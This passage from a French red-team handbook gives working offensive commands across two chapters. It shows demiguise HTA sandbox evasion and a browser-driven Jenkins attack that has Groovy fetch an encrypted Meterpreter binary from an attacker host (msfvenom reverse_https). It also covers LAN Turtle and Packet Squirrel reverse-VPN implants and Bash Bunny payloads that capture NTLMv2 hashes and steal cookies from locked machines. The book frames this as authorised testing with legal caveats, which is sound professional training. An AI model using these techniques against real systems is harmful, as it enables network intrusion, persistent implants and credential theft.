Le deuxième outil, demiguise, « génère des fichiers.html qui contiennent un fichier HTA crypté. L’idée est que, lorsque votre cible visite la page, la clé est récupérée et le fichier HTA est décrypté dynamiquement dans le navigateur et poussé directement vers l’utilisateur. Il s’agit d’une technique d’évasion pour contourner l’inspection de type contenu/type de fichier mise en œuvre par certains dispositifs de sécurité. Cet outil n’est pas conçu pour créer un contenu HTA impressionnant. Il existe d’autres outils/techniques qui peuvent vous aider pour cela. Ce en quoi il pourrait vous aider, c’est d’envoyer avant toute chose votre HTA dans un environnement (si vous utilisez une saisie environnementale), et d’éviter qu’il ne soit placé dans un bac à sable » (https://github.com/nccgroup/demiguise).
	python demiguise.py -k hello -c “cmd.exe /c <commande_powershell_ici>” -p Outlook.Application -o test.hta




Compromettre Jenkins en interne avec l’ingénierie sociale
En tant que Red Teamers, la créativité dans les attaques est ce qui rend notre travail extrêmement excitant. Nous aimons partir de vieux exploits et les renouveler. Par exemple, si vous avez effectué des évaluations de réseau, vous savez que, si vous rencontrez une application Jenkins non authentifiée (très utilisée par les développeurs pour une intégration continue), il s’agit à peu près d’une compromission complète. Ceci vient du fait qu’il y a une « fonctionnalité » qui permet l’exécution de scripts de test Groovy. En utilisant cette console de script, nous pouvons utiliser des commandes d’exécution qui permettent un accès shell au système sous-jacent (voir la Figure 5.10).
La raison pour laquelle cette méthode de compromission est devenue si populaire est que presque toutes les grandes entreprises ont quelques instances de Jenkins. Le problème avec une attaque externe est que ces services Jenkins sont tous hébergés en interne et ne sont pas accessibles de l’extérieur.
Comment pourrions-nous exécuter du code sur ces serveurs à distance ? Avant de pouvoir répondre à cette question, je demande à mon équipe de prendre un peu de recul et de
[image: FIGURE 5.10 : Script Groovy sous Jenkins.]
FIGURE 5.10 : Script Groovy sous Jenkins.
construire une réplique du réseau avec Jenkins pour les tests. Une fois que nous avons une bonne compréhension du fonctionnement des requêtes d’exécution de code à distance, nous pouvons alors construire les outils adéquats pour une telle exécution.
Dans ce cas, nous avons résolu ce problème via une multitude d’étapes en utilisant JavaScript et WebRTC (Web Real-Time Communications). Premièrement, nous aurions besoin qu’une victime dans une organisation visite un site Web public que nous possédons, ou une page dans laquelle notre charge utile XSS est stockée. Une fois qu’une victime visite notre site public, nous voudrions exécuter un code JavaScript sur son navigateur pour lancer notre charge utile malveillante.
Cette charge utile abuserait d’une « fonctionnalité » Chrome/Firefox qui permet à WebRTC d’exposer l’adresse IP interne d’une victime. Avec cette adresse interne, nous pouvons ensuite déduire le sous-réseau local de la machine victime pour comprendre les plages IP de l’entreprise. Partant de là, nous pouvons faire « exploser » toutes les adresses IP de leur réseau (le code ne traite que l’adresse locale /244, mais, dans une vraie campagne, vous voudriez scanner une bien plus grande plage) avec notre exploit spécialement conçu sur le port par défaut 8080 de Jenkins.
La question suivante est : quelle charge utile utilisons-nous ? Si vous avez déjà joué avec la console Jenkins, vous savez que la question est un peu délicate. Donc, être capable d’obtenir des charges utiles PowerShell complexes pourrait être difficile. Pour résoudre ce problème, un outil spécifique a été créé pour ce livre (https://bit.ly/2RJahBk). Il va prendre n’importe quel fichier binaire, le chiffrer, et construire la page JavaScript d’attaque malveillante.
Lorsqu’une victime accède à notre page Web malveillante, celle-ci récupère son adresse IP interne et commence à « vaporiser » notre exploit sur tous les serveurs de la plage /24. Lorsqu’elle trouve un serveur Jenkins vulnérable, l’attaque envoie une charge utile de script Groovy pour récupérer le binaire crypté sur Internet, le décrypter dans un fichier sous C:\Utilisateurs\Public\RT.exe et exécuter le binaire Meterpreter (RT.exe).
Sur le plan conceptuel, ceci est très similaire à une vulnérabilité SSRF (Server-Side Request Forgery, ou falsification de requête côté serveur), où nous forçons le navigateur de la victime à réinitialiser nos connexions aux adresses IP internes (voir la Figure 5.11).
[image: FIGURE 5.11 : Attaque sur un serveur Jenkins.]
FIGURE 5.11 : Attaque sur un serveur Jenkins.
	La victime visite notre page XSS stockée ou notre page JavaScript malveillante.

	Le navigateur de la victime exécute JavaScript/WebRTC pour obtenir l’IP interne et faire « sauter » le réseau interne local avec la charge utile Groovy.

	Dès qu’un serveur Jenkins est trouvé, notre code Groovy dira au serveur Jenkins de récupérer la charge utile cryptée sur le serveur de l’attaquant, puis de la décrypter et d’exécuter le binaire.

	Dans ce cas, notre exécutable crypté téléchargé est une charge utile Meterpreter.

	Meterpreter s’exécute sur le serveur Jenkins, qui se connecte ensuite à notre serveur Meterpreter attaquant.


Note : cette vulnérabilité n’existe pas dans les dernières versions de Jenkins. Les versions antérieures à 2.x sont vulnérables par défaut car elles n’ont pas activé la protection CSRF5 (permettant cet appel aveugle à /script/) ni l’authentification.
Labo d’exploitation Jenkins complet :
	Nous allons construire un serveur Jenkins Windows pour pouvoir répéter cette attaque.

	Installez une machine virtuelle Windows dotée d’une interface pontée sur votre réseau local.

	Sur le système Windows, téléchargez et installez le JDK de Java (la version 8 est un bon choix).

	Téléchargez le fichier War de Jenkins :
	http://mirrors.jenkins.io/war-stable/1.651.2/



	Lancez Jenkins :
	java -jar jenkins.war



	Naviguez jusqu’à Jenkins :
	http://<IP_Jenkins>:8080/



	Testez la console de script Groovy :
	http://<IP_Jenkins>:8080/script




Exploitation de Jenkins sur notre machine virtuelle Kali :
	Téléchargez notre outil generateJenkinsExploit (http://bit.ly/2IUG8cs).

	Pour réaliser ce labo, nous devons d’abord créer une charge utile Meterpreter :
	msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe > badware.exe



	Cryptez notre binaire Meterpreter :
	cd /opt/generateJenkinsExploit

	python3 ./generateJenkinsExploit.py -e badware.exe



	Créez notre page JavaScript malveillante appelée badware.html :
	python3 ./generateJenkinsExploit.py -p http://<IP_attaquant>/badware.exe.encrypted > badware.html



	Déplacez à la fois la page binaire cryptée et la page JavaScript malveillante vers le répertoire Web :
	mv badware.html /var/www/html/

	mv badware.exe.encrypted /var/www/html/




Ces étapes sont illustrées sur la Figure 5.12.
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FIGURE 5.12 : Préparer l’exploit Jenkins.
Maintenant, sur un système complètement différent, visitez la page Web de l’attaquant (http://<IP_attaquant>/badware.html) en utilisant Chrome ou Firefox. En visitant simplement cette page malveillante, votre navigateur « dynamite » votre réseau interne /24 sur le port 8080 avec notre charge utile Groovy en utilisant JavaScript et des requêtes POST. Lorsqu’il trouve un serveur Jenkins, il télécharge notre binaire Meterpreter crypté, le décrypte et l’exécute. Sur un réseau d’entreprise, vous pouvez vous retrouver avec des tonnes de shells différents (voir la Figure 5.13).
Jenkins n’est qu’une des nombreuses attaques que vous pouvez lancer. Tout ce qui permet l’exécution de code sans authentification par une méthode HHTP GET ou POST pourrait être utilisé dans ce même scénario. C’est là que vous devez identifier les applications que nos victimes utilisent en interne et créer votre exploit malveillant.
[image: FIGURE 5.13 : Attaque réussie.]
FIGURE 5.13 : Attaque réussie.

Conclusion
L’ingénierie sociale fait partie de ces domaines qui relèveront toujours d’un jeu du chat et de la souris. Nous comptons beaucoup sur le facteur humain et nous ciblons des faiblesses comme la peur, le sentiment d’urgence et la confiance. En tirant parti de ces vulnérabilités, nous pouvons créer des campagnes très intelligentes qui ont un taux de succès élevé pour la compromission de systèmes.
En termes de mesures et d’objectifs, nous devons passer d’un modèle réactif consistant à attendre que les utilisateurs signalent les emails d’hameçonnage/d’ingénierie sociale à un modèle proactif qui nous permette de rechercher activement ces types d’attaques malveillantes.


1. Voir https://www.php.net/manual/fr/ref.gnupg.php.
2. Voir par exemple https://fr.wikipedia.org/wiki/Client_lourd.
3. Voir aussi par exemple https://fr.wikipedia.org/wiki/Dynamic_Data_Exchange.
4. Notation CIDR. Voir par exemple https://fr.wikipedia.org/wiki/Sous-réseau.
5. CRSF est l’abréviation de Cross Site Request Forgery. Voir par exemple https://bit.ly/2XDU4mi.

Chapitre 6
Le coup de pied court – Attaques physiques
Dans le cadre de ses contrôles de sécurité, CSK a demandé à votre équipe d’effectuer une évaluation physique de l’installation. Il s’agit de vérifier si leurs portails et leurs protections sont adéquats, et, si elle est en mesure de se rendre sur place, de valider la façon dont les gardes réagissent ainsi que leur temps de réponse.
Remarque rapide : vérifiez les lois en vigueur avant d’effectuer toute opération d’évaluation physique. Il serait peut-être sage de consulter un avocat au préalable. De plus, assurez-vous d’obtenir les autorisations appropriées, de travailler avec les équipes de sécurité de l’établissement et d’avoir un document signé au cas où vous vous feriez prendre. Avant l’engagement proprement dit, discutez avec l’équipe de sécurité de ce qui se passe si des agents vous attrapent, si vous pouvez courir ou si vous devez vous arrêter, et si quelqu’un surveille les écrans, etc. De plus, assurez-vous que les gardes ne contactent pas les forces de l’ordre locales. La dernière chose que vous voulez, c’est aller en prison.
Maintenant, il est temps de pénétrer dans les installations secrètes des Cyber Space Kittens. D’après leur site Web, il semble qu’elles soient situées 299792458 Light Drive (la ville importe peu ici). Après avoir fait un peu de reconnaissance sur Google Street, nous remarquons que cette installation est clôturée et qu’il y a un ou deux postes de garde. Nous pouvons identifier de multiples points d’entrée et des zones où nous pourrions franchir la clôture. Lors d’une première visite, nous identifions également quelques caméras, portes, points d’entrée et systèmes de lecture de cartes.
Cloneurs de lecteur de badges RFID
Ce sujet a largement été traité dans une précédente édition du livre. Indiquons simplement que, dans la plupart des cas, les badges HID qui ne nécessitent pas d’établissement de liaison (handshake) public/privé sont toujours vulnérables au clonage ou attaque par force brute des numéros d’identification.
Nous avons toujours adoré cloner les badges ProxCard II car ils n’ont aucune protection, peuvent être clonés facilement, et les cartes sont généralement achetées en vrac de façon incrémentale, ce qui facilite l’utilisation de la force brute. Un appareil portable recommandé pour ce type d’opération est le Proxmark3 RDV4 Kit (https://proxmark.com/). Il est illustré sur la Figure 6.1.
[image: FIGURE 6.1 : Le Proxmark3 RDV4 Kit.]
FIGURE 6.1 : Le Proxmark3 RDV4 Kit.
Voici quelques autres références de cartes courantes susceptibles d’être rencontrées :
	HID iClass (13.56 MHz)

	HID ProxCard (125 kHz)

	EM4100x (125 kHz)

	MIFARE Classic (13.56 MHz)


Voyez également cette excellente ressource par Kevin Chung :
https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/


Outils physiques pour contourner les points d’accès
Nous n’aborderons pas la question des outils physiques et de la marche à suivre, car il y faudrait un livre entier et cela exige beaucoup d’expérience. Comme toujours, la meilleure façon de faire des évaluations physiques consiste à pratiquer, à équiper des laboratoires physiques, et à déterminer ce qui fonctionne et ce qui ne fonctionne pas. Pour ce qui est de certains outils que nous avons utilisés dans le passé, voici quelques bonnes références :
	Lock Picks (https://www.southord.com/) – SouthOrd est un excellent fabricant de kits de crochetage de serrures. Du matériel de grande qualité et qui fonctionne bien.

	Dispositifs de by-pass de portes (https://www.lockpickshop.com/GATE-BYPASS.html) – Outils pour ouvrir les portes verrouillées.

	Outil de crochetage « shovit » (https://bit.ly/2YeqMYp) – Outil simple s’il y a suffisamment de place entre une porte et le loquet. D’une manière un peu semblable à l’emploi d’une carte de crédit pour ouvrir les portes, vous pouvez utiliser cet outil pour passer derrière le piston et tirer vers l’arrière.

	Tringle de déblocage par le bas de la porte (https://bit.ly/2FCB9he) – Outil pour les portes qui se ferment en les claquant. Nous pouvons utiliser cet outil pour passer littéralement sous la porte, l’enrouler autour de la poignée et tirer celle-ci vers le bas. À une époque, on trouvait couramment ce système de fermeture dans les hôtels, mais il est certain qu’il existe aussi dans les entreprises.

	Réservoirs d’air – Un outil bon marché et facile à utiliser pour contourner les portes qui se déverrouillent à l’aide de détecteurs de mouvement à l’intérieur. Regardez cette vidéo pour voir Samy Kamkar contourner ce type de fermeture de porte : https://www.youtube.com/watch?v=xcA7iXSNmZE


Rappelez-vous que le but de ces outils et de ces évaluations physiques est de suivre et de surveiller la façon dont les éléments de sécurité physique d’une entreprise réagissent. Il est donc de notre devoir de nous assurer que nous documentons adéquatement non seulement les lacunes du système, mais aussi le niveau qualitatif des délais d’intervention et de traitement de l’incident.
LAN Turtle
Le LAN Turtle de Hak5 est l’un de mes outils préférés (voir la Figure 6.2). Cette petite clé utilise un port USB comme s’il s’agissait d’une carte réseau et elle récupère tout le trafic via le câble Ethernet (il existe également une version 3G, mais nous la laisserons de côté) :
https://shop.hak5.org/products/lan-turtle

[image: FIGURE 6.2 : L’adaptateur Ethernet USB LAN Turtle.]
FIGURE 6.2 : L’adaptateur Ethernet USB LAN Turtle.
Configuration du LAN Turtle
Bien qu’il ait des tas d’autres fonctionnalités comme autossh, dns spoofing, meterpreter, ptunnel, script2email, urlsnarf, responder, et plus encore, l’utilisation principale du LAN Turtle par la Red Team est d’obtenir l’accès au réseau.
En effet, pour des analyses approfondies et des attaques complexes, nous avons besoin d’un accès complet au réseau. Pour ce faire, nous allons devoir configurer une connexion VPN inversée. À quoi ressemble une connexion VPN inversée ?
Eh bien, puisque le LAN Turtle sera inséré à l’arrière d’un des postes de travail d’une organisation, nous ne serons pas en mesure de nous y connecter directement. Par conséquent, le LAN Turtle sortira d’abord via le port 443 vers le réseau privé virtuel avec OpenVPN Access Server. À partir de notre boîte d’attaque Kali, nous devrons également nous connecter au serveur VPN. Une fois que LAN Turtle et notre machine attaquante sont connectés à notre serveur, nous pouvons acheminer notre trafic via le LAN Turtle pour scanner ou exploiter les données ainsi récupérées (voir la Figure 6.3).
Bien que les tunnels OpenVPN inversés ne soient pas nouveaux, l’équipe de Hak5 a fait du très bon travail en créant un tutoriel. J’ai dû modifier certaines des commandes suivantes dans ce qui suit, mais leur vidéo YouTube fournit une explication plus détaillée : https://www.youtube.com/watch?v=b7qr0laM8kA.
Il y a trois parties principales dans cette procédure :
	Tout d’abord, nous allons devoir mettre en place un serveur OpenVPN AS sur Internet.

	Deuxièmement, il nous faudra configurer le LAN Turtle.

	Troisièmement, nous devrons aussi configurer notre machine attaquante.


Configuration d’un serveur VPS OpenVPN AS :
[image: FIGURE 6.3 : Schéma de fonctionnement du LAN Turtle.]
FIGURE 6.3 : Schéma de fonctionnement du LAN Turtle.
	Nous voulons nous assurer que notre serveur VPN est tourné vers l’extérieur. Nous aimons généralement héberger nos serveurs VPN sur des serveurs virtuels VPS car leur mise en place est extrêmement facile et rapide. Veuillez vous assurer auprès du fournisseur de votre serveur virtuel que vous êtes autorisé à mettre en œuvre certaines activités.

	Deux fournisseurs de VPS dont nous constatons habituellement qu’ils sont beaucoup utilisés par les gens sont Linode et Amazon Lightsail. Ceci vient du fait que ces VPS sont rapides, bon marché et très faciles à mettre en place. Dans ce cas, nous allons utiliser AWS Lightsail. L’autre raison de choisir certains fournisseurs de VPS tient à la détection du trafic. En utilisant AWS, je sais que le réseau de la victime aura très probablement beaucoup de trafic vers les serveurs AWS. Cela me permettrait de me dissimuler dans leur trafic.

	Rendez-vous sur Lightsail.aws.amazon.com et créez un nouveau VPS.

	Une fois créé, allez dans la gestion du réseau et ajoutez deux ports TCP du pare-feu (443 et 943).

	Nous avons tous fini de créer le serveur VPS. Connectez-vous maintenant :
	Assurez-vous d’avoir un chmod 600 (droits utilisateur en lecteur/écriture) pour vos clés SSH et connectez-vous à votre serveur

	ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP]



	Après SSHing1 dans le serveur :
	Allez à la racine : sudo su -

	Mettez à jour le serveur : apt-get update && apt-get upgrade

	Installez OpenVPN AS. Allez ici pour trouver la dernière version (choisissez un package Ubuntu) :
	https://openvpn.net/vpn-software-packages/



	Copiez le lien et chargez-le sur le VPS. Exemple :
	wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb



	Installez OpenVPN AS :
	dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb



	Supprimez le profil actuel et configurez OpenVPN :
	/usr/local/openvpn_as/bin/ovpn-init



	Assurez-vous de configurer l’interface utilisateur à ADMIN pour toutes les interfaces et mettez l’authentification locale via la base de données interne à YES

	Mettez à jour les mots de passe OpenVpn : passwd openvpn

	C’est le moment idéal pour configurer IPTables pour le port 943 afin de n’autoriser que les connexions à partir de vos réseaux.




Configuration du serveur OpenVPN AS :
	Allez à https://[Adresse IP du serveur VPS]:943/admin/.

	Connectez-vous avec le compte utilisateur ‘openvpn’ et le mot de passe que vous venez de créer.

	Si vous utilisez AWS Lightsail :
	Allez dans les paramètres réseau du serveur et assurez-vous que le nom d’hôte ou l’adresse IP est la bonne adresse IP publique et non l’adresse privée.

	Sauvegardez et mettez à jour.



	Vérifiez que l’authentification est définie sur local :
	Authentication -> General -> Local -> Save Settings -> Update Server



	Créez deux utilisateurs avec la connexion automatique (auto login) activée (j’ai choisi lanturtle et redteam) :
	User Management -> User Permissions.

	Pour chaque utilisateur :
	Set AllowAuto-login

	Assurez-vous de définir des mots de passe pour les deux.



	Pour le compte lanturtle nous devons activer certaines autorisations pour permettre la connectivité via VPN sous User Permissions :
	all server-side private subnets (tous les sous-réseaux privés côté serveur).

	all other VPN clients (tous les autres clients VPN).






Téléchargez les profils OpenVPN :
[image: FIGURE 6.4 : Configuration des autorisations.]
FIGURE 6.4 : Configuration des autorisations.
	Connectez-vous pour télécharger des profils :
	https://[Votre VPS]:943/?src=connect

	Pour chaque utilisateur (redteam et lanturtle) :
	Se connecter et télécharger le profil - Yourself (profil autologin).

	Sauvegardez les fichiers sous les noms turtle.ovpn et redteam.ovpn.






Paramétrage du LAN Turtle et configuration initiale (voir la Figure 6.5) :
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FIGURE 6.5 : Configurer le LAN Turtle.
	Branchez les câbles USB et Ethernet.

	Exécutez nmap sur le réseau local pour le port 22 :
	nmap x.x.x.x/24 -p22 -T5 --open



	SSH avec root@[ip] avec comme mot de passe sh3llz

	Mettez à jour votre LAN Turtle.

	Changez votre adresse MAC. C’est important, car vous devez effectivement vous assurer que vous ressemblez à un périphérique aléatoire.

	Installez OpenVPN :
	Choisissez Modules -> Select -> Configure -> Directory -> Yes.

	Install openvpn



	Configurez votre profil OpenVPN :
	Retournez dans Modules -> openvpn -> configure -> collez tout depuis turtle.opvn et sauvegardez.



	Nous voulons également nous assurer que le serveur LAN Turtle OpenVPN se lance au démarrage, pour que nous puissions simplement le laisser s’exécuter :
	Allez dans Modules -> openvpn -> Enable.



	Enfin, nous devons modifier nos règles de pare-feu sur notre LAN Turtle :
	Quittez le menu du LAN Turtle et éditez nos règles de pare-feu.
	nano /etc/config/firewall



	Sous : config zone ‘vpn’
	Assurez-vous que ‘option forward’ est réglée sur ACCEPT

	Ajoutez les règles suivantes :


config forwarding
	option src wan
option dest lan


config forwarding
	option src vpn
option dest wan


config forwarding
	option src wan
option dest vpn





	Revenez au menu du LAN Turtle et choisissez Modules -> openvpn -> start.

	Ceci devrait démarrer le client OpenVPN sur notre LAN Turtle. Pour vous assurer que cela fonctionne, retournez sur notre serveur OpenVPN AS et vérifiez les connexions.


Nous avons maintenant configuré le LAN Turtle de sorte que chaque fois qu’il se connecte à un réseau, il se connecte également à notre serveur VPN, et nous pouvons communiquer avec lui via SSH. Prenons un exemple :
Accédez au serveur VPN depuis notre hôte attaquant Kali :
	openvpn --config ./redteam.ovpn

	Nous avons besoin d’obtenir l’adresse IP du réseau sur lequel ils se trouvent afin d’acheminer tout le trafic via notre vpn redteam
	SSH dans le LAN Turtle

	Quittez le menu du LAN Turtle et obtenez l’adresse IP de l’interface interne (ifconfig) du réseau victime. Déterminez la plage IP en fonction de l’adresse IP et de l’adresse de diffusion. Dans notre exemple, le réseau sur lequel se trouve le LAN Turtle est 10.100.100.100.0/24



	Enfin, activons le transfert (voir la Figure 6.6) :
	Retournez dans OpenVPN AS et éditez l’utilisateur lanturtle.

	User Permissions -> lanturtle -> show

	Mettez VPN Gateway sur Yes et ajoutez une plage interne (c’est-à-dire 10.100.100.0/24).

	Sauvegardez et mettez à jour.



	À partir de la connexion SSH sur le LAN Turtle, redémarrez avec la commande : reboot


[image: FIGURE 6.6 : Activer le transfert.]
FIGURE 6.6 : Activer le transfert.
Maintenant, nous pouvons nous servir du VPN depuis notre boîte d’attaque et acheminer tout notre trafic via le LAN Turtle dans le réseau de l’entreprise victime. Sur la Figure 6.7, nous sommes connectés au serveur VPN, et nous analysons le réseau interne du LAN Turtle (10.100.100.0/24). Nous pouvons voir que nous avons configuré avec succès le routage depuis la passerelle VPN, via le LAN Turtle, vers le réseau de l’entreprise. Depuis notre machine d’attaque Kali, nous pouvons exécuter des scans de vulnérabilité complets, des extractions de contenus Web, des masscans2, et plus encore.
[image: FIGURE 6.7 : Le LAN Turtle à l’œuvre.]
FIGURE 6.7 : Le LAN Turtle à l’œuvre.
C’est fait ! Vous disposez maintenant d’un dispositif qui vous permettra de garder une connexion complète avec le réseau de la victime. Voici quelques mesures complémentaires à prendre pour aller encore plus loin :
	Placez un cronjob qui réinitialise l’appareil tous les jours. Les tunnels peuvent être rompus, et chaque fois que le LAN Turtle redémarre, une nouvelle connexion est rétablie.

	Il y a des entreprises qui bloquent les sorties sur certains ports. Ici, nous avons utilisé le port 443, pour lequel, dans de nombreux environnements, les sorties seraient autorisées. Pour d’autres sociétés qui utilisent des proxies Web, le trafic sortant directement via le port 443 peut être bloqué. Vous devrez peut-être configurer le LAN Turtle pour essayer automatiquement plusieurs ports ou protocoles différents (TCP/UDP) au démarrage.

	Si vous devez laisser utiliser deux dispositifs ou plus, assurez-vous que les serveurs VPN et les adresses MAC sont différents. Nous avons rencontré des cas où nos appareils ont été trouvés lors de missions et, presque toujours, c’était par accident parce que le service informatique déplaçait ou remplaçait des ordinateurs.





Packet Squirrel
Un autre outil de Hak5 qui a des caractéristiques similaires à celles du LAN Turtle est appelé Packet Squirrel (voir la Figure 6.8). Le Packet Squirrel nécessite un micro USB pour être alimenté, mais au lieu d’un adaptateur Ethernet + USB, les deux extrémités sont des connexions Ethernet. C’est un autre moyen discret de capturer le trafic ou de créer une connexion VPN.
[image: FIGURE 6.8 : Le Packet Squirrel.]
FIGURE 6.8 : Le Packet Squirrel.
La procédure de configuration du Packet Squirrel est similaire à celle du LAN Turtle :
	Éditez le fichier /root/payloads/switch3/payload.sh
	FOR_CLIENTS=1



	Éditez /etc/config/config/firewall
	Effectuez exactement les mêmes changements au pare-feu que ce que vous avez fait pour le LAN Turtle



	Téléchargez le fichier lanturtle.ovpn vers /root/payloads/payloads/switch3/config.ovpn


Vous avez maintenant un autre appareil qui, une fois connecté au réseau, disposera d’une connexion VPN inversée dans l’entreprise.
Une quantité impressionnante de recherches a été faite sur l’emploi du Packet Squirrel. Par exemple, il est possible de convertir facilement un outil de pentest en utilisant SWORD : https://bit.ly/2jT5obW.
Ressources :
	https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections

	http://www.ubuntuboss.com/how-to-install-openvpn-access-server-on-ubuntu-15-10/

	https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/

	https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel



Bash Bunny
Le Rubber Ducky (https://bit.ly/2LqcujT), toujours de chez Hack5, permet facilement d’émuler des périphériques HID, comme les claviers, pour stocker les commandes. C’est un excellent outil pour une Red Team car il peut accélérer l’exécution des commandes PowerShell, être utilisé pour des exercices d’ingénierie sociale et permettre de compromettre des systèmes de bornes qui n’ont peut-être pas de clavier, mais des connecteurs USB.
Bash Bunny en est la version avancée (https://bit.ly/2Cw8Mz4). Non seulement il peut effectuer des attaques de style HID, mais il peut aussi en faire bien plus. Bash Bunny a deux réglages séparés pour stocker deux attaques (et un réglage supplémentaire pour la gestion). Ces charges utiles peuvent effectuer des attaques pour voler des informations d’identification, effectuer du phishing, opérer des attaques de type Ducky, exécuter des commandes PowerShell, effectuer des analyses et des reconnaissances, exécuter des autopwn de Metasploit, et plus encore.
Peut-être connaissez-vous KonBoot (https://bit.ly/2Yp7NdE), un outil qui permet de contourner des machines pour lesquelles vous n’avez pas de mots de passe. KonBoot fonctionne sur des machines non cryptées, où il démarre à partir d’une clé USB pour écraser les mots de passe administratifs locaux. Bien que cela nécessite un redémarrage complet, cela vous permet d’accéder à une machine sans authentification. Nous l’utilisons tout le temps avec beaucoup de succès.
Cependant, il y a deux raisons pour lesquelles vous préférerez ne pas utiliser KonBoot : (1) cette attaque ne fonctionnera pas sur des machines cryptées, et/ou (2) vous ne voudrez peut-être pas redémarrer l’ordinateur de la victime. Comment pouvez-vous obtenir des informations à partir d’un système verrouillé pour avoir accès à des éléments supplémentaires sur le réseau, ou potentiellement obtenir des identifiants ? C’est là que Bash Bunny entre en jeu.
Nous allons utiliser Bash Bunny pour lancer deux charges utiles d’attaque différentes. Ces deux charges utiles nous permettront d’obtenir des renseignements à partir d’un système verrouillé (ou non verrouillé) si nous y avons accès physiquement. Nous allons démontrer dans ce qui suit l’utilisation de BunnyTap et de QuickCreds.
Pénétrer dans Cyber Space Kittens
Vous avez enfin pénétré par effraction dans les installations de Cyber Space Kittens en dehors des heures de travail. Il n’y a personne autour de vous, mais vous n’avez que quelques heures devant vous pour votre piratage. Vous arrivez sur votre première machine, vous insérez KonBoot et vous redémarrez le système, mais vous remarquez que ces systèmes sont cryptés. Vous passez alors à la machine suivante qui est restée allumée et montre un écran verrouillé. Vous branchez votre Bash Bunny deux fois, en actionnant les commutateurs BunnyTap et QuickCreds. Au bout de quelques minutes, QuickCreds, qui exécute le notoirement connu Responder, collecte les hachages NetNTLMv2. Nous les envoyons dans Hashcat et nous cassons le mot de passe de l’utilisateur en quelques minutes ! Sur les machines sur lesquelles nous ne pouvons pas obtenir ou craquer des hachages, BunnyTap fait tourner PosionTap, qui capture les cookies pour les sites populaires et peut être configuré pour des applications internes. Nous prenons ces cookies, nous connectons notre ordinateur portable attaquant à leur réseau, nous remplaçons leurs cookies par les nôtres pour des applications Web sensibles, et nous accédons à ces applications Web sans jamais connaître un seul mot de passe.
Mise en place du Bash Bunny sur Kali :
	Téléchargez la dernière version du micrologiciel : https://bashbunny.com/downloads

	Mettez le Bash Bunny sur le commutateur 3 (Arming Mode), le plus proche du port USB.

	Copiez le micrologiciel à la racine du support USB, retirez le Bash Bunny en toute sécurité (important), rebranchez-le et attendez environ 10 minutes jusqu’à ce que le clignotement devienne bleu.

	Une fois que tout cela est fait, revenez dans le Bash Bunny et éditez le fichier sous payloads -> switch1 -> payload.txt
	# System default payload

	LED B SLOW

	ATTACKMODE ECM_ETHERNET STORAGE



	Débranchez votre appareil.

	Sur votre boîte Kali, configurez le partage Internet :
	wget bashbunny.com/bb.sh

	chmod +x bb.sh

	./bb.sh

	Guided Mode (choisissez toutes les valeurs par défaut)



	Activez le commutateur 1 du Bash Bunny (le plus éloigné de l’USB) et branchez-le. Une fois terminé, assurez-vous de votre connexion avec le Bash Bunny, où vous devriez voir l’image Cloud <-> Laptop <-> Bunny.

	Sur votre machine Kali, accédez via SSH au Bash Bunny avec comme mot de passe hak5bunny (voir la Figure 6.9).


[image: FIGURE 6.9 : Utiliser le Bash Bunny.]
FIGURE 6.9 : Utiliser le Bash Bunny.
Accès au Bash Bunny :
	Sur votre machine Kali, accédez via SSH au Bash Bunny avec comme mot de passe hak5bunny.

	Faites : ssh root@172.16.64.1

	Mettez à jour et installez quelques outils sur le Bash Bunny
	apt-get update

	apt-get upgrade

	export GIT_SSL_NO_VERIFY=1

	git clone https://github.com/lgandx/Responder.git/tools/responder

	git clone https://github.com/CoreSecurity/impacket.git /tools/impacket

	cd /tools/impacket && python ./setup.py install

	apt-get -y install dsniff



	Dans un autre terminal de votre machine Kali, installez tous les modules que vous souhaitez.
	git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads



	Vous pouvez choisir n’importe quel type de charge utile, mais dans notre cas, nous allons installer le Bash Bunny avec deux charges utiles : BunnyTap et QuickCreds.
	cp -R /opt/bashbunny-payloads/payloads/library/credentials/BunnyTap/* /media/root/BashBunny/payloads/switch1/

	cp -R /opt/bashbunny-payloads/payloads/library/credentials/QuickCreds/* /media/root/BashBunny/payloads/switch2/

	Notez que, dans chacun des dossiers switch1 et 2, se trouve un fichier nommé payload.txt. Vous devez configurer chacun de ces fichiers pour attaquer les machines Windows ou Mac. Pour les machines Windows, assurez-vous que le paramètre ATTACKMODE est défini sur RNDIS_ETHERNET et pour les Mac, configurez-le sur ECM_ETHERNET.




QuickCreds
QuickCreds est un outil génial qui utilise l’attaque Responder pour capturer les hachages/condensats NTLMv2 des machines verrouillées et déverrouillées. Disons que vous faites une évaluation physique dans laquelle vous entrez par effraction dans un bâtiment et vous y trouvez un tas de machines verrouillées. Vous branchez le Bash Bunny sur le commutateur avec QuickCreds, et vous attendez environ 2 minutes par machine. Le Bash Bunny va prendre le pas sur l’adaptateur réseau, rediriger toutes les demandes de partage et d’authentification en utilisant Response, puis sauvegarder ces données. Il enregistre tous les identifiants dans le dossier loot sur le disque USB (voir la Figure 6.10).
Références :
	https://bit.ly/3213MOP

	https://bit.ly/2bYGbX3


[image: FIGURE 6.10 : Utiliser QuickCreds.]
FIGURE 6.10 : Utiliser QuickCreds.

BunnyTap
BunnyTap est basé sur le célèbre PoisonTap de Samy Kamkar (https://www.youtube.com/watch?v=Aatp5gCskvk). PoisonTap était un outil génial capable, même à partir d’une machine verrouillée, de faire ce qui suit :
	Émuler un périphérique Ethernet sur USB (ou Thunderbolt).

	Détourner tout le trafic Internet de la machine (bien qu’il s’agisse d’une interface réseau de faible priorité/inconnue).

	Siphonner et stocker les cookies et les sessions HTTP du navigateur pour les 1 000 000 de sites Web Alexa les plus populaires.

	Exposer le routeur interne à l’attaquant, le rendant accessible à distance via le protocole WebSocket sortant et le DNS rebinding3.

	Installer une porte dérobée Web persistante dans le cache HTTP pour des centaines de milliers de domaines et d’URL de réseaux de diffusion de contenu JavaScript courants, avec accès aux cookies de l’utilisateur par empoisonnement du cache.

